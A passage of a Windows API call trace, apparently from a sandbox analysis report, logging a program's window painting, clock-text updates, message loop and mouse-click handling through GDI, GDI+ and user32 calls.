region2=0x691ee90, combineMode=0x1) returned 0x0 [0163.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0163.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0163.584] LocalFree (hMem=0xf75bb0) returned 0x0 [0163.584] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0163.584] GdipIsInfiniteRegion (region=0x6920590, graphics=0x69202b0, result=0x19e7c0) returned 0x0 [0163.584] GdipIsInfiniteRegion (region=0x6920590, graphics=0x69202b0, result=0x19e7b0) returned 0x0 [0163.584] GdipGetRegionHRgn (region=0x6920590, graphics=0x69202b0, hRgn=0x19e7b0) returned 0x0 [0163.584] GdipDeleteRegion (region=0x6920590) returned 0x0 [0163.584] GdipGetDC (graphics=0x69202b0, hdc=0x19e7c8) returned 0x0 [0163.584] GetCurrentObject (hdc=0x4b010738, type=0x1) returned 0xb00017 [0163.584] GetCurrentObject (hdc=0x4b010738, type=0x2) returned 0x900010 [0163.584] GetCurrentObject (hdc=0x4b010738, type=0x7) returned 0x8050721 [0163.584] GetCurrentObject (hdc=0x4b010738, type=0x6) returned 0x8a01c2 [0163.584] SaveDC (hdc=0x4b010738) returned 1 [0163.584] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x104070e [0163.584] GetClipRgn (hdc=0x4b010738, hrgn=0x104070e) returned 0 [0163.584] SelectClipRgn (hdc=0x4b010738, hrgn=0x7c0406f7) returned 2 [0163.584] DeleteObject (ho=0x104070e) returned 1 [0163.584] DeleteObject (ho=0x7c0406f7) returned 1 [0163.584] OffsetViewportOrgEx (in: hdc=0x4b010738, x=0, y=0, lppt=0x30429e8 | out: lppt=0x30429e8) returned 1 [0163.584] GetNearestColor (hdc=0x4b010738, color=0x22a3f8) returned 0x22a3f8 [0163.584] CreateSolidBrush (color=0x22a3f8) returned 0x1f10073a [0163.584] FillRect (hDC=0x4b010738, lprc=0x19e7cc, hbr=0x1f10073a) returned 1 [0163.584] DeleteObject (ho=0x1f10073a) returned 1 [0163.584] RestoreDC (hdc=0x4b010738, nSavedDC=-1) returned 1 [0163.585] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b010738) returned 0x0 [0163.585] GdipRestoreGraphics (graphics=0x69202b0, state=0xfd3e0dbd) returned 0x0 [0163.585] GdipDeleteRegion (region=0x691ee90) returned 0x0 [0163.585] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0163.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0163.585] GetSystemMetrics (nIndex=42) returned 0 [0163.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:05") returned 8 [0163.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0163.585] GdipGetDC (graphics=0x69202b0, hdc=0x19e7e8) returned 0x0 [0163.585] GetCurrentObject (hdc=0x4b010738, type=0x1) returned 0xb00017 [0163.585] GetCurrentObject (hdc=0x4b010738, type=0x2) returned 0x900010 [0163.585] GetCurrentObject (hdc=0x4b010738, type=0x7) returned 0x8050721 [0163.585] GetCurrentObject (hdc=0x4b010738, type=0x6) returned 0x8a01c2 [0163.585] SaveDC (hdc=0x4b010738) returned 1 [0163.585] GetNearestColor (hdc=0x4b010738, color=0x0) returned 0x0 [0163.585] RestoreDC (hdc=0x4b010738, nSavedDC=-1) returned 1 [0163.585] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b010738) returned 0x0 [0163.585] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0163.586] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0163.586] GdipGetTextRenderingHint (graphics=0x69202b0, mode=0x19e788) returned 0x0 [0163.586] GdipGetDC (graphics=0x69202b0, hdc=0x19e774) returned 0x0 [0163.586] GetCurrentObject (hdc=0x4b010738, type=0x1) returned 0xb00017 [0163.586] GetCurrentObject (hdc=0x4b010738, type=0x2) returned 0x900010 [0163.586] GetCurrentObject (hdc=0x4b010738, type=0x7) returned 0x8050721 [0163.586] GetCurrentObject (hdc=0x4b010738, type=0x6) returned 0x8a01c2 [0163.586] SaveDC (hdc=0x4b010738) returned 1 [0163.586] GetTextAlign (hdc=0x4b010738) returned 0x0 [0163.586] GetTextColor (hdc=0x4b010738) returned 0x0 [0163.586] GetCurrentObject (hdc=0x4b010738, type=0x6) returned 0x8a01c2 [0163.586] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0163.586] SelectObject (hdc=0x4b010738, h=0x4f0a0711) returned 0x8a01c2 [0163.586] GetBkMode (hdc=0x4b010738) returned 2 [0163.586] SetBkMode (hdc=0x4b010738, mode=1) returned 2 [0163.586] DrawTextExW (in: hdc=0x4b010738, lpchText="06:58:05", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3042e7c | out: lpchText="06:58:05", lprc=0x19e708) returned 50 [0163.587] RestoreDC (hdc=0x4b010738, nSavedDC=-1) returned 1 [0163.587] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b010738) returned 0x0 [0163.587] GdipGetDC (graphics=0x69202b0, hdc=0x19e924) returned 0x0 [0163.587] BitBlt (hdc=0x60100ce, x=0, y=0, cx=154, cy=50, hdcSrc=0x4b010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0163.587] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b010738) returned 0x0 [0163.587] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0163.587] SelectObject (hdc=0x4b010738, h=0x85000f) returned 0x8050721 [0163.587] DeleteDC (hdc=0x4b010738) returned 1 [0163.587] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0163.587] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0163.587] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0163.587] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0163.587] WaitMessage () returned 1 [0164.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0164.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.580] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0164.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0164.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0164.580] GetSystemMetrics (nIndex=42) returned 0 [0164.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:05") returned 8 [0164.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0164.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0164.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0164.580] GetSystemMetrics (nIndex=42) returned 0 [0164.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:05") returned 8 [0164.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0164.580] SetWindowTextW (hWnd=0x20236, lpString="06:58:06") returned 1 [0164.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3042f20) returned 0x1 [0164.580] GetStockObject (i=5) returned 0x900015 [0164.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0164.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0164.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0164.581] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0164.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0164.581] GetSystemMetrics (nIndex=42) returned 0 [0164.581] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:06") returned 8 [0164.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0164.581] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0164.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0164.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:06", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x30430f4 | out: lpchText="06:58:06", lprc=0x19e938) returned 50 [0164.582] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0164.582] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0164.582] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.582] GetSystemMetrics (nIndex=42) returned 0 [0164.582] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0164.582] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0164.582] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.582] IsWindowUnicode (hWnd=0x20236) returned 1 [0164.582] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.582] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.582] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0164.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0164.583] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0164.583] CreateCompatibleDC (hdc=0x60100ce) returned 0x4c010738 [0164.583] SelectObject (hdc=0x4c010738, h=0x8050721) returned 0x85000f [0164.583] GdipCreateFromHDC (hdc=0x4c010738, graphics=0x19e8e4) returned 0x0 [0164.583] GdipTranslateWorldTransform (graphics=0x69202b0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0164.583] GdipSetClipRectI (graphics=0x69202b0, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0164.583] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0164.583] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x691ee60) returned 0x0 [0164.583] GdipIsMatrixIdentity (matrix=0x691ee60, result=0x19e944) returned 0x0 [0164.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0164.583] GdipGetMatrixElements (matrix=0x691ee60, matrixOut=0xf75bb0) returned 0x0 [0164.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0164.583] GdipDeleteMatrix (matrix=0x691ee60) returned 0x0 [0164.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0164.583] GdipGetClip (graphics=0x69202b0, region=0x691ee90) returned 0x0 [0164.584] GdipIsInfiniteRegion (region=0x691ee90, graphics=0x69202b0, result=0x19e938) returned 0x0 [0164.584] GdipSaveGraphics (graphics=0x69202b0, state=0x19e964) returned 0x0 [0164.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0164.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0164.584] GetSystemMetrics (nIndex=42) returned 0 [0164.584] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:06") returned 8 [0164.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0164.584] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0164.584] GdipCreateRegion (region=0x19e780) returned 0x0 [0164.584] GdipGetClip (graphics=0x69202b0, region=0x6920590) returned 0x0 [0164.584] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0164.584] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x6915f08) returned 0x0 [0164.584] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0164.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0164.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0164.584] LocalFree (hMem=0xf75bb0) returned 0x0 [0164.584] GdipCombineRegionRegion (region=0x6920590, region2=0x691ee90, combineMode=0x1) returned 0x0 [0164.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0164.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0164.584] LocalFree (hMem=0xf75bb0) returned 0x0 [0164.584] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0164.585] GdipIsInfiniteRegion (region=0x6920590, graphics=0x69202b0, result=0x19e7c0) returned 0x0 [0164.585] GdipIsInfiniteRegion (region=0x6920590, graphics=0x69202b0, result=0x19e7b0) returned 0x0 [0164.585] GdipGetRegionHRgn (region=0x6920590, graphics=0x69202b0, hRgn=0x19e7b0) returned 0x0 [0164.585] GdipDeleteRegion (region=0x6920590) returned 0x0 [0164.585] GdipGetDC (graphics=0x69202b0, hdc=0x19e7c8) returned 0x0 [0164.585] GetCurrentObject (hdc=0x4c010738, type=0x1) returned 0xb00017 [0164.585] GetCurrentObject (hdc=0x4c010738, type=0x2) returned 0x900010 [0164.585] GetCurrentObject (hdc=0x4c010738, type=0x7) returned 0x8050721 [0164.585] GetCurrentObject (hdc=0x4c010738, type=0x6) returned 0x8a01c2 [0164.585] SaveDC (hdc=0x4c010738) returned 1 [0164.585] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7d0406f7 [0164.585] GetClipRgn (hdc=0x4c010738, hrgn=0x7d0406f7) returned 0 [0164.585] SelectClipRgn (hdc=0x4c010738, hrgn=0x404070e) returned 2 [0164.585] DeleteObject (ho=0x7d0406f7) returned 1 [0164.585] DeleteObject (ho=0x404070e) returned 1 [0164.585] OffsetViewportOrgEx (in: hdc=0x4c010738, x=0, y=0, lppt=0x30434c4 | out: lppt=0x30434c4) returned 1 [0164.585] GetNearestColor (hdc=0x4c010738, color=0x22a3f8) returned 0x22a3f8 [0164.586] CreateSolidBrush (color=0x22a3f8) returned 0x2010073a [0164.586] FillRect (hDC=0x4c010738, lprc=0x19e7cc, hbr=0x2010073a) returned 1 [0164.586] DeleteObject (ho=0x2010073a) returned 1 [0164.586] RestoreDC (hdc=0x4c010738, nSavedDC=-1) returned 1 [0164.586] GdipReleaseDC (graphics=0x69202b0, hdc=0x4c010738) returned 0x0 [0164.586] GdipRestoreGraphics (graphics=0x69202b0, state=0xfd3c0dbd) returned 0x0 [0164.586] GdipDeleteRegion (region=0x691ee90) returned 0x0 [0164.586] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0164.586] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0164.586] GetSystemMetrics (nIndex=42) returned 0 [0164.586] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:06") returned 8 [0164.586] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0164.586] GdipGetDC (graphics=0x69202b0, hdc=0x19e7e8) returned 0x0 [0164.586] GetCurrentObject (hdc=0x4c010738, type=0x1) returned 0xb00017 [0164.586] GetCurrentObject (hdc=0x4c010738, type=0x2) returned 0x900010 [0164.586] GetCurrentObject (hdc=0x4c010738, type=0x7) returned 0x8050721 [0164.586] GetCurrentObject (hdc=0x4c010738, type=0x6) returned 0x8a01c2 [0164.586] SaveDC (hdc=0x4c010738) returned 1 [0164.587] GetNearestColor (hdc=0x4c010738, color=0x0) returned 0x0 [0164.587] RestoreDC (hdc=0x4c010738, nSavedDC=-1) returned 1 [0164.587] GdipReleaseDC (graphics=0x69202b0, hdc=0x4c010738) returned 0x0 [0164.587] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.587] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0164.587] GdipGetTextRenderingHint (graphics=0x69202b0, mode=0x19e788) returned 0x0 [0164.587] GdipGetDC (graphics=0x69202b0, hdc=0x19e774) returned 0x0 [0164.587] GetCurrentObject (hdc=0x4c010738, type=0x1) returned 0xb00017 [0164.587] GetCurrentObject (hdc=0x4c010738, type=0x2) returned 0x900010 [0164.588] GetCurrentObject (hdc=0x4c010738, type=0x7) returned 0x8050721 [0164.588] GetCurrentObject (hdc=0x4c010738, type=0x6) returned 0x8a01c2 [0164.588] SaveDC (hdc=0x4c010738) returned 1 [0164.588] GetTextAlign (hdc=0x4c010738) returned 0x0 [0164.588] GetTextColor (hdc=0x4c010738) returned 0x0 [0164.588] GetCurrentObject (hdc=0x4c010738, type=0x6) returned 0x8a01c2 [0164.588] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0164.588] SelectObject (hdc=0x4c010738, h=0x4f0a0711) returned 0x8a01c2 [0164.588] GetBkMode (hdc=0x4c010738) returned 2 [0164.588] SetBkMode (hdc=0x4c010738, mode=1) returned 2 [0164.588] DrawTextExW (in: hdc=0x4c010738, lpchText="06:58:06", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3043958 | out: lpchText="06:58:06", lprc=0x19e708) returned 50 [0164.589] RestoreDC (hdc=0x4c010738, nSavedDC=-1) returned 1 [0164.589] GdipReleaseDC (graphics=0x69202b0, hdc=0x4c010738) returned 0x0 [0164.589] GdipGetDC (graphics=0x69202b0, hdc=0x19e924) returned 0x0 [0164.589] BitBlt (hdc=0x60100ce, x=0, y=0, cx=154, cy=50, hdcSrc=0x4c010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0164.589] GdipReleaseDC (graphics=0x69202b0, hdc=0x4c010738) returned 0x0 [0164.589] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0164.589] SelectObject (hdc=0x4c010738, h=0x85000f) returned 0x8050721 [0164.589] DeleteDC (hdc=0x4c010738) returned 1 [0164.590] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0164.590] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0164.590] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0164.590] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0164.590] WaitMessage () returned 1 [0164.674] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.675] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x258018e) returned 0x1 [0164.675] IsWindowUnicode (hWnd=0x30212) returned 1 [0164.675] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.675] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x258018e) returned 0x1 [0164.675] SetCursor (hCursor=0x10003) returned 0x10003 [0164.675] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.675] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0164.675] GetKeyState (nVirtKey=1) returned 1 [0164.675] GetKeyState (nVirtKey=2) returned 0 [0164.675] GetKeyState (nVirtKey=4) returned 0 [0164.675] GetKeyState (nVirtKey=5) returned 0 [0164.675] GetKeyState (nVirtKey=6) returned 0 [0164.675] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0164.675] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0164.675] WaitMessage () returned 1 [0164.754] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.754] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x258018e) returned 0x1 [0164.754] IsWindowUnicode (hWnd=0x30212) returned 1 [0164.755] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.755] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x258018e) returned 0x1 [0164.755] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0164.755] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x160005d) returned 0x0 [0164.755] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0164.755] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1bf005d) returned 0x0 [0164.755] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0164.755] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0164.755] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0164.755] SetCursor (hCursor=0x10003) returned 0x10003 [0164.755] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.756] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0164.756] GetKeyState (nVirtKey=1) returned -128 [0164.756] GetKeyState (nVirtKey=2) returned 0 [0164.756] GetKeyState (nVirtKey=4) returned 0 [0164.756] GetKeyState (nVirtKey=5) returned 0 [0164.756] GetKeyState (nVirtKey=6) returned 0 [0164.756] IsWindowVisible (hWnd=0x30212) returned 1 [0164.756] IsWindowEnabled (hWnd=0x30212) returned 1 [0164.756] SetFocus (hWnd=0x30212) returned 0x30212 [0164.756] GetFocus () returned 0x30212 [0164.756] GetFocus () returned 0x30212 [0164.756] GetFocus () returned 0x30212 [0164.756] GetKeyState (nVirtKey=1) returned -128 [0164.756] GetKeyState (nVirtKey=2) returned 0 [0164.756] GetKeyState (nVirtKey=4) returned 0 [0164.756] GetKeyState (nVirtKey=5) returned 0 [0164.756] GetKeyState (nVirtKey=6) returned 0 [0164.756] GetCapture () returned 0x0 [0164.756] SetCapture (hWnd=0x30212) returned 0x0 [0164.756] GetKeyState (nVirtKey=1) returned -128 [0164.756] GetKeyState (nVirtKey=2) returned 0 [0164.756] GetKeyState (nVirtKey=4) returned 0 [0164.756] GetKeyState (nVirtKey=5) returned 0 [0164.756] GetKeyState (nVirtKey=6) returned 0 [0164.756] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0164.756] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0164.757] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.757] IsWindowUnicode (hWnd=0x30212) returned 1 [0164.757] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.757] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.757] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0164.757] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3043a38, cPoints=0x1 | out: lpPoints=0x3043a38) returned 36176186 [0164.757] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0164.757] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0164.757] UpdateWindow (hWnd=0x30212) returned 1 [0164.757] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x10105d6 [0164.757] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0164.757] CreateCompatibleDC (hdc=0x10105d6) returned 0x4d010738 [0164.757] SelectObject (hdc=0x4d010738, h=0x8050721) returned 0x85000f [0164.758] GdipCreateFromHDC (hdc=0x4d010738, graphics=0x19e570) returned 0x0 [0164.758] GdipTranslateWorldTransform (graphics=0x69202b0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0164.758] GdipSetClipRectI (graphics=0x69202b0, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0164.758] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0164.758] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x691ee60) returned 0x0 [0164.758] GdipIsMatrixIdentity (matrix=0x691ee60, result=0x19e5d0) returned 0x0 [0164.758] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0164.758] GdipGetMatrixElements (matrix=0x691ee60, matrixOut=0xf75c20) returned 0x0 [0164.758] LocalFree (hMem=0xf75c20) returned 0x0 [0164.758] GdipDeleteMatrix (matrix=0x691ee60) returned 0x0 [0164.758] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0164.758] GdipGetClip (graphics=0x69202b0, region=0x691ee90) returned 0x0 [0164.758] GdipIsInfiniteRegion (region=0x691ee90, graphics=0x69202b0, result=0x19e5c4) returned 0x0 [0164.758] GdipSaveGraphics (graphics=0x69202b0, state=0x19e5f0) returned 0x0 [0164.758] GdipRestoreGraphics (graphics=0x69202b0, state=0xfd3a0dbd) returned 0x0 [0164.758] GdipDeleteRegion (region=0x691ee90) returned 0x0 [0164.758] GdipGetDC (graphics=0x69202b0, hdc=0x19e3a0) returned 0x0 [0164.759] GetCurrentObject (hdc=0x4d010738, type=0x1) returned 0xb00017 [0164.759] GetCurrentObject (hdc=0x4d010738, type=0x2) returned 0x900010 [0164.759] GetCurrentObject (hdc=0x4d010738, type=0x7) returned 0x8050721 [0164.759] GetCurrentObject (hdc=0x4d010738, type=0x6) returned 0x8a01c2 [0164.759] SaveDC (hdc=0x4d010738) returned 1 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x323533) returned 0x323533 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x111111) returned 0x111111 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x0) returned 0x0 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x868c88) returned 0x868c88 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x6994f5) returned 0x6994f5 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x969c98) returned 0x969c98 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x868c88) returned 0x868c88 [0164.759] GetNearestColor (hdc=0x4d010738, color=0x3c3f3d) returned 0x3c3f3d [0164.759] GetNearestColor (hdc=0x4d010738, color=0x6994f5) returned 0x6994f5 [0164.759] RestoreDC (hdc=0x4d010738, nSavedDC=-1) returned 1 [0164.760] GdipReleaseDC (graphics=0x69202b0, hdc=0x4d010738) returned 0x0 [0164.760] SelectObject (hdc=0x8e0106dd, 